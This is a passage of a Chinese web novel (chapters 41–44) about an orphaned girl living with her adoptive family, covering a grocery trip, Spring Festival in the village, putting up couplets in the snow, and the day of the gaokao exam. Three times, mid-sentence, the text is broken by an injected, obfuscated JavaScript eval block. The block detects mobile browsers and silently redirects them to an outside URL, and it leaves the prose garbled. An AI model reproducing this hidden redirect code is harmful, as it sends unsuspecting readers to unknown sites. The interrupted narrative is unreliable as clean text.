地面有点斜坡,宋健拉好手刹,转头把后面两人也叫下来了,让他们一会儿帮着拎东西。三人前前后后进了超市,宋健扯了个袋子直奔菜区,走之前拍了拍宋嶙的肩膀,让她带着祁缘去别的地方逛逛,想吃什么就买。 宋嶙比了个“OK”的手势,转头直接推着祁缘往零食区走,还不忘拉来个购物车。 “吃什么?”他在她耳边问。 货架上的零食多种多样,各种颜色的包装看的人眼花缭乱,祁缘大多都没吃过,有些她甚至连见都没见过。逛了半天,虽然看着样式多,其实大多都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088137|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些薯片之类的。 距离有些远,她眯着眼打量,发现这些零食唯一的相同点就是价格贵。 祁缘摇了摇头:“看着没什么食欲,我没什么想吃的。” “那怎么行?我爸让买。” “那你就买些你喜欢吃的就好了。” “就买我吃的?”宋嶙吸了口气:“你想让我死啊?” “……”不至于吧。 这么逛到天黑她估计都不会拿什么,宋嶙干脆自己拿了,“我买什么你吃什么吧。” “行。” 祁缘刚答应完她就后悔了,她以为他随便拿几样就行了,没想到宋嶙变得一发不可收拾,走两步就从货架上扯出来一袋往购物车里扔,她制止了两声,不管用。 “别别别,太多了……” 宋嶙连个正眼都没给她,视线一直在两边的货架上:“这多什么,让你挑你又不挑。” 眼看着车里的东西越来越多,她干脆挡着不让他放了,宋嶙看了她一眼,好笑道:“搁超市做什么拉伸?” “……”祁缘被他这么一调侃脸颊涨红,她几乎是拿出央求的语气:“真别放了,这么多怎么吃啊?” “确定够了?” 他手上的动作慢了,终于愿意听她讲话了,祁缘飞速点头:“够了够了!” 宋嶙看了眼购物车,大半车零食,好像确实够了。 “行吧。”他推着车,转头往收银台走。 宋健这时刚好买完,他在收银台等着排队结账,看了眼他们的车,又看了眼自己手上的菜,这差别有点大呀。 “她要吃的还是你要吃的?”宋健直奔主题。 “问这个干嘛?我吃你不给我买呀?”宋嶙倚在购物车旁,俩肩膀端着,宋健见状拍了下他的后背:“你能不能有点儿人样儿?” 收银员是个大姨,看热闹不嫌事大,对着宋嶙笑了笑:“这阿嶙长的讨喜,人家咋整都好看。” 宋健把菜放台上,扭头开始掏钱包:“可别说了,一会儿给这小子美飞了。” “阿姨夸我你这当爸的还不乐意。”宋嶙把购物车推过来,祁缘帮他把零食让台上放,那大姨没见过她,笑眯眯地问道:“这是你哪个亲戚家孩子?” “啊,我闺女。”宋健平静地说。 祁缘的手一顿,手上的薯片悬在半空,她直直地望向宋健。 “啥?这……你……”大姨吓了一跳,脑子一短路支支吾吾的也不知道要问啥好了。虽然说他们父子不常来这边,但相隔的也不算远,这一片住着的大家也都认识,那她也没听说过他还有个女儿啊? 女人又打量起祁缘,这孩子看着也不小了,那大姨一脸好信:“你跟姓王的那个谈着呢啊?” 也就这个想法能说的通,是不是那女的领过来的孩子? “别扯了你可,这我刚认的闺女,我可宝贝着呢,别往她身上泼脏水啊!赶紧给我装袋。”宋健顿时脸一沉,怎么又跟那女的扯上了?他现在可烦她了,那时候要不是她跟宋嶙说那些话,他儿子也不至于抑郁。 宋嶙听完也气的够呛,连姨都不叫了:“这帐还能算不?” “啊哈哈哈……能算,能算。”大姨意识到自己说错话了,讪讪闭上嘴,低头专心结账了。 直到上车以后宋健的脸色才缓和了些,但怨气尚在:“什么人呢?以后都不来她家买东西了,嘴欠欠的。” 宋嶙看上去也不怎么开心:“我也不来了。” 车内气压极低,像是入了冰窖。祁缘眼睛转了一圈儿,抿着唇:“那我也不来了。” “哈哈哈哈哈哈哈哈……” 两人几乎同时笑出声。 祁缘还没反应过来,宋健透过后视镜看她。 “对,这才是我们宋家的孩子。” “好样的!” 42. 第 42 章 祁缘没来过宋嶙的老家,这是第一次。 车子驶入村口,各家门口的红灯笼早已高高挂起,现在正是傍晚,有几家灯笼通了电,向四周投射出五彩斑斓的光。祁缘原本亮起的眼睛渐渐黯淡下去,她刚看见其中一家挂着的灯笼和去年殷鹏买的那盏一模一样。 这个新年没人夸她剪的窗花好看了。 嗯,以后也不会有了。 宋健把车停在了一家绿大门跟前,一旁的宋嶙开始解安全带,看样子就是这家了。 三人一狗下了车,东西大多宋嶙在提着,就祁缘帮他拿了一小兜菜。宋健低头找钥匙,宋嶙被袋子勒的手疼,他歪着个脑袋:“爸,你还能不能找出来了?” 宋健挤了挤眼睛,还在钥匙串上寻找着,“别急,这门锁我新换的,我忘了是哪把钥匙了。” “……” 最后宋健把钥匙伸进锁芯里挨个试了试,结果发现哪个都打不开。 他一拍脑袋:“我就说我记性没差到连是哪个钥匙都记不住吧?这钥匙我放咱家柜里了,没拿来。” “……”这记性还不够差吗? 宋健把钥匙揣回兜里:“得了,我回去取吧。” “你还折腾啊?”这外边这么冷,宋嶙下面就穿了一条牛仔裤,他是待不了了,东西放地上,长腿一跨上了墙。 “小兔崽子你给我下来!”宋健吼他,宋嶙不听,翻过去找来一把锤子,从墙头扔了过来。 “砸开吧。”声音从门里边传来。 宋健插着兜,没捡:“还砸?我上次因为啥换的锁你不知道吗?” 宋嶙听完冷笑一声:“上次不也是因为你没带钥匙砸的锁吗?” “……”宋健不说话了,他这么大个人了总不可能爬墙进去吧?再说祁缘和托马斯也都没进去呢。 “哎呀行行行,”他妥协了,扭头看向祁缘:“声有点儿大,小缘你把耳朵捂上啊!” “哦。”祁缘见状带着托马斯往后退了两步,然后抬手把耳朵捂住。 “砰——” 宋健下手够狠,声音太大,就算捂着耳朵也能听见。祁缘受到刺激短暂地闭了下眼,铁锁落地,宋健捡起来,一脸心疼。 “可惜我的新锁头了。” 宋嶙把门从里面打开:“知道可惜你下次就记得带钥匙。” 宋健白了他一眼:“臭小子,一天天就知道怼你爸。” 一老一小在前面嘟嘟囔囔就没消停过,祁缘习惯了,反正她也插不上嘴,干脆牵着托马斯在后面慢慢跟着。趁着空档她简单扫视了一圈院子,发现除了墙角处搭了个简单的灶之外,剩下空荡荡的,基本没什么东西。 房子的门口处有个小台阶,没什么高度,存在感极低。宋嶙一直走在前面,这会儿停下来,给宋健让路。 宋健笑嘻嘻地扒拉手里的钥匙:“进不去了吧?这不还得靠你老爸吗?” 宋嶙倚着门框没接话,一是无话可说,二是他冷了,这两天天气特殊冷,给冻的他牙都打颤。 门开了,进屋也没好到哪儿去,可能是太久没住人的缘故,再加上屋子大,里面冷的跟冰窖一样。宋嶙几乎是把东西放下的一瞬间就跑出来了,外面最起码还有点残留的太阳光呢,尽管并没有起到什么作用。 “谁让你不穿秋裤的?” 宋健把满屋的灯打开,又去后院抱来一大捆柴火,让宋嶙添进去:“你活动活动就好了。” “行吧行吧。” 火烧起来这屋就暖和了,宋健在厨房烧水做饭,地方不大,祁缘也帮不上忙,转头回屋里跟着宋嶙打扫卫生去了。因为太长时间没回来,柜子上落了一层厚厚的灰,宋嶙也不管哪是哪了,直接全拿扫帚扫。 “等我扫完你再拿抹布擦一遍吧,现在这灰都呛鼻子,你先出去待着。” 祁缘本来想留在这帮他一起扫,结果刚张嘴就呛的直咳嗽。她挥了挥眼前的灰尘,退了出去:“那好吧。” 等他全部打扫完了,祁缘去厨房接了盆凉水,宋健转头拿起烧水壶又往里淋了些热的,他用手搅和搅和,调成微微发烫的温度才还给她。 总共要打扫出来两间屋子,祁缘晚上就住宋嶙以前住的那间小屋。她看了一圈,发现这间屋子的布局简单的不能再简单了,就是标配的床和衣柜,连床头柜都没有。 祁缘擦到这的时候好奇问了嘴,宋嶙看了她一眼,淡淡道:“那玩意儿有没有是咋?你晚上又不在柜上睡。” “……”她和他沟通不了。 等他们收拾完了屋子也暖和起来了,宋健正在厨房炖菜,香气从虚掩的门缝飘出来,把托马斯馋的守在厨房门口,一动不动。 这时房门从外被打开,何浩楠大摇大摆地走进来,他先是看了眼炕上坐着的宋嶙,又扭头看向一旁忙活的祁缘,无语道:“你还是不是爷们儿?就让人家女孩子干活儿啊?” 一来就制造误会,宋嶙前脚刚坐那他后脚就进来了,宋嶙也不着急解开,唇角一弯,皮笑肉不笑:“对啊,她不干谁干?” “宋嶙我看你真是飘了!”何浩楠大步流星走过来,一把抢过祁缘手上的抹布,甩甩手:“去去去,上一边待着去,哥给你擦。” “我……”祁缘刚要说话,被宋嶙拽到一边,他对她无声地说:让他干。 下一秒宋嶙对着何浩楠微微一笑:“那就谢谢哥哥啦。” 又惊悚又诡异,何浩楠起了一身鸡皮疙瘩,指着他脑袋:“你这里有点问题吧?” 活干完了,晚饭也做好了。宋健去客厅把木桌支起来,又回厨房端上来两盘菜,一盘是红烧肉,另一盘是肉末茄子。何浩楠用余光瞟了一眼,十分懂事地说:“那宋叔叔你们先吃吧,我就回去了。” “别呀!就在这吃呗,多一副碗筷的事儿。”宋健上道了,紧着留他。 “那多不好意思啊。” “不好意思就滚回去。”还扭捏上了,虚伪的要死,宋嶙看不下去了,实在是辣眼睛。 “臭小子,这么说人家浩楠干啥?”宋健瞪了宋嶙一眼,面对何浩楠时又立马喜笑颜开:“搁这吃呗,你都多长时间没吃叔叔做的饭了,你不馋啊?” “那行,那我就恭敬不如从命了。”目的达成了,何浩楠笑起来,唇角快要咧到耳根。 不得不说,宋健做菜真的很有味道,咸度适中,肉也炖的很恰到好处。何浩楠接连吃了吃了几口以后,兴奋的手舞足蹈。 “不是你至于吗?”宋嶙用斜眼看他。 何浩楠吃了一嘴酱汁,看上去滑稽又好笑:“怎么不至于?你又不是没吃过我妈做的饭。” 宋嶙看起来很认真地回忆了一下,随即点点头:“那我理解你了。” “你妈妈做的不好吃吗?”祁缘没吃过,听他们这么一说,她突然有点儿好奇。 “哎呦我天,上回好悬没把厨房炸了,锅底那是呼呼冒黑烟啊,”何浩楠边说边比划,坐着耽误他发挥,他直接站起来形容:“就是像刚烧过煤一样,就那个味儿,你能懂不?” 祁缘似懂非懂地点点头。 “但是我爸炒菜还挺好吃的,”何浩楠坐下来,继续吃:“主要是他不做,懒到宁愿吃我妈做的黑暗料理他也不愿意伸手,我都不止一次抓到他在超市偷偷买零食了。” 宋健笑了声:“你们小孩儿说话就是邪乎,能有多难吃啊?” 何浩楠做出一个非常通俗的比喻:“就是托马斯都不吃。” 宋嶙没忍住:“哈哈哈,狗都不吃,你和你爸吃。” “哎呦,有苦说不出啊。” …… 除夕这天是个阴天,祁缘穿好衣服去拉窗帘,她隔着玻璃往外看,这种灰蒙蒙的场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097116|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景很像是电影里演的世界末日。昨晚宋健说过今天会下雪,就是不知道什么时候下。 屋里静悄悄的,她找了一圈,没人。祁缘又转身往外面走,推开门,发现宋嶙正坐在外面的台阶上撸狗。听见动静,他回头看了她一眼:“昨晚睡得怎么样?” “挺好的。”祁缘答,左右张望一番,她又问了声:“宋叔叔呢?” “去街上□□联去了,昨天给忘了。”宋嶙往托马斯身上一靠,又软又温暖。他伸了个懒腰:“估计马上回来了,都走半天了。” “哦。” 过来一阵寒风,祁缘没穿外套,吹得她打了个寒颤。宋嶙见状催促她回屋,她“嗯”了声,紧了紧身上的衣裳,转身回屋洗漱了。 农村冬天用热水很不方便,都是要事先烧好灌在保温瓶里,她拿起来颠了颠,发现里面还有不少水,不用烧。 她刚洗完,宋健就提着东西回来了。 不知道他和宋嶙在外面说了些什么,屋里听不清。进来的时候刚好四目相对,宋健把春联放到角落里,把手上的糖人儿递给她。 是一只小兔子。 这时宋嶙跟在后面进来了,他手上也拿了一个糖人儿,是一条龙。 祁缘这才反应过来他是按照他们的生肖买的。 宋健笑说:“昨天还想着直接把菜买完今天就不用上街了,结果到底还是去了。不过也好,正巧碰见个卖糖人儿的,你俩快尝尝好不好吃。” 祁缘没吃过这东西,糖人儿颜色是那种焦糖色的,兔子的身体圆滚滚,但里面是空的。她有点不忍心破坏这么一件可爱的艺术品,最后思虑再三咬了一口兔子耳朵,嘴里传来一声脆响。她疯狂点头:“特别好吃!” 宋健一听,笑的开心:“看样子我还买对了,好吃就快吃吧,放时间长了口感就不好了。” 甜甜的,味道很不错,对于祁缘来说她还是挺喜欢吃这种东西的。倒是宋嶙,他咬了一口就开始犯愁,一股糖浆味儿,他实在是不怎么乐意吃。 好不容易吃完,明明是糖,他却苦着个脸:“爸,下回你给她买就行,这种东西还是别带我份儿了。” 宋健看着他,自己的脸也跟着扭曲:“有那么难吃吗?” “齁甜,反正我不喜欢。” 说着,宋嶙吐了下舌头。 “行吧。对了,咱中午做几个菜啊?十二个够不够?”宋健边说边打开袋子,昨天就堆在这里他也没收拾,这么一看有的菜都被压蔫了。 宋嶙出声阻止:“别了爸,咱家就咱仨,整太多了不行,怎么吃啊?” 宋健蹲下来,一边挑菜一边跟他说:“以前咱俩在家都做八个,今年多了一个大活人,做十二个不正好吗?” 怎么就正好了?宋嶙跟他掰扯:“那时候八个菜咱俩就吃了四天,天天两眼一睁就开始吃剩饭,今年整十二个你是冲着元宵节去的吗?” “那过年了不就得喜庆点吗?再说了,就你爸这厨艺做剩菜都好吃,前年给你撑啥样儿呢,你忘了啊?” “那我拉多少次你是不是也忘了?” 两人气势汹汹的样子像极了在打辩论赛,祁缘眼珠转了又转,她不知道说什么好,干脆往后缩,结果刚退后没两步就被宋嶙一把捞了回来。 他把她搬出来:“阿缘你来评评理,我爸不听我的,你说做几个。” “对,你说。”宋健跟着附和。 这么艰难的抉择居然交到了她的手上。祁缘想了想,微弱地出声道:“其实做两个就可以,既能吃完,还不浪费。” “……”一句话给两人都整没动静了。 宋健系上围裙,一手推一个,给两人推出了厨房:“也别跟我犟了,今年菜我定了,就十二个,你们俩要是闲着没事儿就出去帮我把春联贴上吧。” 宋嶙心如死灰:“知道了。” 43. 第 43 章 宋嶙剪开装春联的袋子,把取出的春联平铺到炕上,然后再一一进行比对。 “好几年没贴这玩意儿了,冷不丁都不会分上下联了。”他嘀咕道。 祁缘探过来半截身子:“我看看。” 她拿过来简单看了两眼,脱口而出:“这个是上联,那个是下联。” 宋嶙睁大眼睛,一脸不可置信的表情:“那下边都掖着呢,你字都没读完,咋分清的?” “读字干嘛?”祁缘不解,伸出手指头给他指着:“这上面不是有鱼头吗?头对头。” 她起初也不懂,这个方法还是殷鹏告诉她的。 “……”宋嶙感觉自己的智商受到了极大的侮辱。 宋健这些对联都是成套买的,全部分好以后宋嶙发现有不少都用不上,比如手上这个肥猪满圈。 脑子里闪过一个想法。宋嶙来了坏道儿,撕了块胶布,趁着祁缘不注意,把这张纸飞快地贴到了她的脑门上。 “宋嶙!”祁缘摘下来看清楚纸上写的什么以后,脸颊瞬间涨红。 宋嶙明知故问:“咋了?不喜欢?” 祁缘:“你往我头上贴肥猪,你还问我喜不喜欢?难道你会喜欢肥猪吗?” “啊,我喜欢。” 余音在耳处回旋,祁缘感觉到自己的心跳漏了一拍。 他说的是她吗? 但是看他那一脸平静的样子,估计不是。 这么一想,她的情绪好像在做过山车,上一秒还兴奋的飞起,下一秒就痛苦到想找个地方躲起来。 他是不是彻彻底底把她当成妹妹了? 就算真的在说喜欢她,可能也只是喜欢妹妹那样的喜欢。 时间安静地走着,谁也没说话,都光顾着推测对方心里想的是什么。宋嶙观察着祁缘的表情,她除了最开始的一顿,始终没有什么反应。 他看不透她。 “汪汪汪!” 托马斯突如其来的叫声打破了安静的氛围,把他俩都吓了一跳。宋嶙一瞬间变了脸,他又拿来一张同样的纸,重复着刚才的步骤,只不过这次的受害者是托马斯。 “急什么?你也有!” 光顾着聊天,谁都没注意到此时的外面已经开始飘雪花了,等他们终于发现的时候地上已经积了一层白。屋檐上,电线上,无论哪里,全都无一幸免。 推开门,一股冷风“嗖”的一下吹了进来,倒灌进他们的身体里,祁缘被刺激的一瞬间汗毛直立,没忍住打了个哆嗦。 宋嶙见状把她手上的春联夺过来:“你还是搁屋里待着吧,我自己也能贴。” “不要。”祁缘又把春联抢了回来。 他劝说:“外面冷。” 她摇头:“我不怕冷。” 他拗不过她,既然她执意要去,那保暖工作肯定要做到位。宋嶙转身把她拖回屋,从衣柜里找出来一副棉手套给她戴上,想了想,又往她脖子上系了条围巾。 他又看向她那光秃秃的脑袋,弯腰去给她找帽子,祁缘拉了拉他的衣袖,道:“我不冷,你别找了。” 宋嶙没听她的,继续找,然而衣柜翻了个底朝上他也没找到。他明明记得还有一顶的呀?宋嶙脑子空了一瞬,记忆跟着往回拉了些,他这才想起来,原来那顶帽子之前在柜子里受了潮,帽檐被染花了洗不出来了,让宋健给扔了。 “……”怪尴尬的,他蹲着这么半天,一直在找一个根本不存在的东西。 祁缘倒是无所谓:“不就是下点雪吗?又不是雨,反正也浇不湿,走吧走吧。” 她把他往出推,不给他犹豫的机会。 大雪纷纷扬扬地落下,不知不觉间还刮起了风,宋嶙在粘胶布的地方又按了按,退后两步,发现春联被他贴的歪歪扭扭。 宋嶙忍不住皱起眉:“好端端刮什么风啊?真气死我了。” 说完他又要去抠,祁缘赶紧拉住他,说:“差不多得了,你来来回回这么抠,我看那春联马上就要碎了。” “那也不行啊,谁从咱家过去还寻思咱家人歪呢!”宋嶙气的咬牙,他贴的时候明明是摆正了才往墙上贴的,怎么最后的效果一出来就这么差强人意? “你不看就好了,”祁缘踮脚蒙上他的眼睛,又把他往另一边拉:“赶紧换一边吧,咱俩出来差不多十分钟了,才贴了那一个。” 眼不见心不烦,宋嶙“嗯”了一声,扭头去贴下联。 这次祁缘在后面帮忙看着,确定好了再往上贴,宋嶙时不时还要给她让地方,举的双手发酸,他笑道:“这次怎么这么累挺啊?” “因为你追求完美。”祁缘点头,给他下指令:“行了,这回你贴吧。” 宋嶙脸转过去:“什么语气?真把自己当皇帝了?” “我是皇帝那你是什么?” “爱妃。” 祁缘笑:“爱宠还差不多。” 宋嶙脸一沉,舌头顶着腮帮子:“我看你真是欠收拾了。” 下联贴好,宋嶙往后退了几步,这次贴的可真是太完美了,他都忍不住给自己点赞,必须满分。 宋嶙开始陷入自满:“我真是天才。” “你再看看上联就不觉得了。” 他本来都忘了,被她这么一提醒眼睛又转过去,顿时难受的抓心挠肝。 宋嶙大步流星地走过去,脚下被他踩出来几个深深的雪坑:“不行,我再挽救一下。” 祁缘跟在他后面跑:“你咋就这么执着呢?” 宋嶙没回答,直接去扯上面的胶带,祁缘帮他拂去墙上的雪,两人一起摆弄了好一阵子,这回终于贴正了。就是纸坏了。 “行了,就这样吧。”宋嶙不敢碰了,残缺的春联被胶布五花大绑地捆在墙上,他现在只乞求风慢点吹,再这么呼呼刮下去它就真的碎了。 贴了半个小时就贴上了一对,祁缘哭笑不得地说:“咱们快去贴别的吧。” 现在还剩仓库的,房前房后的,再不赶紧贴,宋健的饭都要做好了。 宋嶙跺跺脚:“走吧。” 门墙高,这个难贴是应该的,可他们没想到的是,后面的几个更难贴。 剩下的墙体都是水泥质地的,胶布根本就黏不住,刚松手就会被风吹跑,宋健每回抬头都能看见两人追着春联跑。 他笑得直不起腰。缓了会儿,宋健从屋里探出头来,递给他们一个小盆。祁缘看了眼,是那种白色的浆体,闻上去还有一股面粉味儿。 宋嶙问:“这是什么?” 宋健帮他们拍了拍身上的雪,回答道:“浆糊啊,抹点儿这个就能贴住了,我们那时候贴到水泥墙的时候都用这个。” 宋嶙听完倒吸一口凉气:“爸,你有这好东西怎么不早说?我俩都快累死了。” 宋健不好意思地挠挠头,倒是诚实:“我看你俩追春联的样子挺好玩儿,没控制住,就多看了一会儿。” 宋嶙:“……” 祁缘:“……” “行了行了,你俩贴吧,我回屋做饭去了。”说完宋健转身进屋,头也没回把门给带上了。 宋嶙拿着浆糊搅了搅,然后蹲在地上往春联上抹。祁缘在旁边看着,两人的脸近在咫尺,他一抬头就看到她冻的通红的脸颊,长长的睫毛上挂了一层雪。 他吸了吸鼻子,手上没停:“你回屋待会儿吧,外面太冷了。” “我不冷。”她想都没想就回答。祁缘没骗人,她穿的厚,里里外外套了好几层,露在外面的皮肤只有脸,这才看上去可能有那么一点吓人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106207|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“倒是你,相比之下你才更冷一点吧。”她看向他那双已经冻的发僵的大手,从出门开始就一直裸露在寒风之中,她好歹还带了手套,现在手心都是暖洋洋的。 “我冷什么,我……” 嘴硬的话还没来得及说出口,手上传来温度,女孩温暖的双手紧握上他的,宋嶙怔住,一时语塞。 祁缘轻声说:“我给你暖暖。” 耳边传来呼啸的风,掺杂着的还有少年热烈的心跳声。宋嶙感觉到自己的双手正在渐渐回温,其实她手并没有多热,只能说是不凉,但是因为那个人是她,那份平和的温度也逐渐变得滚烫。 他感觉浑身的毛孔都张开了,耳根也红透了,这次不是冻的,是羞的。 祁缘但凡抬一下头都能看出来他脸上的不对劲,可是她没有。她在他手上捏了捏,问:“好点没有?” “啊……好了,好多了。”宋嶙把手抽出来,眼底多了些许笑意,转头拿起刷子继续涂,他再愣一会儿浆糊都要冻住了。 直到现在祁缘也没察觉到他有丝毫的不对劲,她把手重新伸回手套里,说:“那我们快点粘吧,一会儿回屋就好了。” “嗯。” 还是宋健的办法好,一粘就好,还特别牢,怎么吹都吹不烂。接下来这几个都是这么粘的,一共也没用多长时间,比胶布贴的立整多了。 到底还是贴春联,院里多了一抹红,年味儿一下就上来了。 祁缘抖了抖身上的雪,看向宋嶙被大雪吹得花白的头发,好笑道:“宋嶙,你现在好像个小老头儿。” 宋嶙也笑了:“还说我呢,你也跟个小老太太似的。” 他拎着她,拍掉她身后的雪,她扬起唇角,想起一句话。 霜雪落满头,也算共白首。 祁缘伸手去接漫天飞舞的雪花。不知道是不是错觉,雪下的似乎又大了些。 瑞雪兆丰年。 那时候妈妈总说,过年这天下大雪就是好运的征兆。祁缘眼底兜着泪,想必妈妈是想告诉她,她和外公外婆已经团聚了吧。 不知道许愿会不会灵验,但她还是想试试。 她双手合十,祈求上天,祈求她妈妈下辈子不要再遇见祁建强。 如果不是他的出现,她和外公外婆此时一定还活着,也一定会很幸福。 说到底,还是她太执着。 要是殷曼早一点放下面子,选择和祁建强离婚,选择回去和两个老人认错,事情也就不会走向今天这个地步。 她摇了摇头,从来没有如果,时光不会再重来,无论你选什么,做什么,它都只能给你一次机会。 这一次机会,将决定你今后的路是否平坦,也将决定你是否幸福。 这次,是殷曼选错了。 …… 两人刚进屋就闻到一股糊味儿。 宋健正待在厕所里刷手机,不知道看的什么视频,笑的不亦乐乎,隔着门都能听见他敞亮的笑声。 宋嶙走到厨房,顺着气味儿找到源头,抬手把锅盖拿开,他没想到居然连汤都熬没了,菜也糊的像样,正黝黑的粘在锅底。 “爸,你是闻不到味儿吗?”宋嶙紧着把插头拔下来。 “啥?你在外面都闻到了吗?”宋健听见声音,还以为是自己的气味儿太大了,紧着把窗户打开了。 两人说话驴唇不对马嘴,一个在厨房里忙活的脚打后脑勺,一个在厕所里被冷风冻的瑟瑟发抖。 等宋健出来,宋嶙把四盘烧焦的菜摆在他眼前。 “哎呦,怎么糊了?”宋健拍大腿。 “我俩一进屋就这样了。”祁缘说。 宋嶙笑了声:“今年又做八个啊?” 宋健瞪他:“一天损你爸可有一手了。” 44. 第 44 章 高考前的最后一个新年过去了,开学的日子如期而至,课程早就讲完了,刷题、问题,反反复复,成了高三学子们接下来的主要任务。 这段时间祁缘每天学习到凌晨一两点,刷题刷的头疼,不过好在,最近几次考试她的成绩名列前茅,她的努力获得了显著成效。 高考前的最后一次月考,她突破瓶颈,考进了学校前五。 宋健知道了以后不禁喜上眉梢,他是真心替她高兴,但也是真的心疼她。一个小女孩儿天天学习到那么晚,长此以往黑眼圈都大的吓人,长的又那么瘦,可能是体质原因,不管宋健怎么换着花样给她做饭,她也不见胖。 一个高考而已,其实真正意义上来说并不能算得上是什么人生的转折点,网上说的那些就是夸大其词,说重要有重要的道理,说不重要也有不重要的原因。不有的是靠自己闯出一番天地的吗?为了一次考试,宋健真怕她熬垮了。 幸好,日子再难,他们也都挺过来了。 祁缘翻过了日历上的最后一页纸。 高考当天,学校拉起横幅,全校老师都站出来为高三学子送行,就像去年那样,甚至比去年还隆重,今年多加了个鞭炮环节,走到校门口时还有放飞的气球。 崔荣穿过人群,特意过来给祁缘加油打气,他拍拍她的肩膀,鼓励道:“别紧张,你一定行。” “谢谢老师。”祁缘朝他鞠了一躬。 走远了,何浩楠跟别人换位置,一路从后排换到了前排,他拍了下祁缘的肩膀,说:“你现在成荣嬷嬷的得意门生了,他刚还专门过来给你打气。” “最差的班级考出来个学校前五的,这事搁你身上,你是老师,你不过来偏爱一下啊?”宋嶙对此并不意外,他甚至还觉得何浩楠有点缺心眼。 后者倒是没察觉到,撇撇嘴,跟着附和了一声:“嗯,好像是这个道理。” 北城只有这一所高中,而且不作为考点,要去考点,他们还要坐一个小时的大巴。祁缘怕晕车,上车就找了个前面的位置,她抬腿跨进去,宋嶙紧跟着在她旁边坐了下来。 她今天穿了条白裙子,装考试用品的袋子被她放到裙摆上,祁缘老觉得不安,转头给宋嶙,让他帮忙拿着。她看了会儿窗外的风景,直到人全部上来,车子启动,她扭过头来,缓缓闭上了眼。 “困了?”宋嶙没意思,刚想找她聊天,结果连视线都没对上。 “没有,我在想昨晚做的那道大题的解题思路。”祁缘回答,嘴唇轻颤。 宋嶙忍不住皱眉:“考试最重要的是心态,你一直紧绷着情绪能考好吗?努力了这么久还不让自己歇歇气,你想干嘛?” “我想拿奖学金。”她睁开眼。 宋嶙木然,一时没反应过来:“所以说你这段时间发了疯的学习,目的就是为了那几千块奖学金?” “嗯。” “你这是什么意思?我们还是不是一家人?你自从来我家都没怎么花过钱,我爸想给你买件新衣服你都不要,然后你现在跟我说你累死累活是为了那点奖学金。” 宋嶙说到这有些激动,他深吸一口气,把头转到一边,用后脑勺对着她。 祁缘看出来他生气了,紧着去哄:“我就是觉得我外婆留给我的钱早晚都会花光,所以我就想靠自己的努力赚点钱,而且学习也是在开拓我的眼界,又能上好的大学又能赚钱,做这些是不犯冲突的。” 她摆着他的胳膊:“你别生气,好吗?” 被人撒娇还是第一次,宋嶙脸色缓和了点,转过来对着她:“你要这么说其实我还好受点,你要是单纯为了钱那我就会觉得不值当,外婆既然把你托付给我们照顾,我们肯定是要对你负责到底的。” 祁缘用脸蹭他的肩膀:“我都懂啊,你是我哥嘛,我早就把你当成我的亲人了。” 宋嶙被蹭的痒痒的,扯了扯嘴角:“那我爸呢?有没有把他当成你的爸爸?” 他注意到眼前的女孩儿身子猛地一僵,动作停下来,不知道在想些什么,半天没说话。 祁缘抿着唇,其实她早就想叫宋叔叔一声爸爸了。 她实则有父,却似无父。 亲生父亲觉得她和她妈一样,都是个败家子,她以为殷曼死后祁建强顶多就是不管她了,不给她钱上学,不给她钱生活。没想到他心更狠,压根儿就没想要她。 平时对殷曼指指点点的他都嫌浪费口舌,没打过她已经很不错了,从这一点来看他甚至觉得自己跟那些家暴男相比他更绅士一点。如今大的死了,剩了个小的,想了想,他觉得还是抛弃了更好,眼不见心不烦。 丢给那两个老的养着,活不活,死不死,都和他一点儿关系没有。 她就是在这样压抑的环境下生活的太久了,心理发生变化,觉得她这种人,连自己亲生父亲都可以不要,更别提宋健这个根本没有义务养她的人了。她时常猜测,宋健就算对她好,又会好多久呢? 可能是一个月,也可能是两个月。 但她没想到的是,到现在为止宋健已经收养她一年了,不管是觉得她可怜,还是怎么样,他对她从来都是有耐心的,一直以来都没有变过。 就算变过,好像也只是对她更好了。 只可惜他们不是真的父女,她真的好想拥有一个对她这么好的爸爸。 祁缘抿着唇,她现在还没有能力回报宋健,等到她有能力的时候,她才配把那两个字说出口。 她始终低着头,见她一直不说话,宋嶙也没再问了。 一个小时很快,车子驶入考点的停车位里,带队老师从位子上站起来,先是给在座的学生加油打气,让他们最后再检查一遍自己的考试用品,听到一切准确无误以后,这才让司机开车门下车。 临进考场前,宋嶙对祁缘说了句加油。 他说:“好好考,考完让咱爸给你做好吃的。” 祁缘听完,笑着挥手:“你也是。” 她最开始很紧张,但当进考场的检查流程走完,她坐进座位的那一刻起,不知道为什么,心里的紧绷感瞬间烟消云散了,内心归于平静,仿佛有一道声音在她耳边说:这就是一场小考试而已。 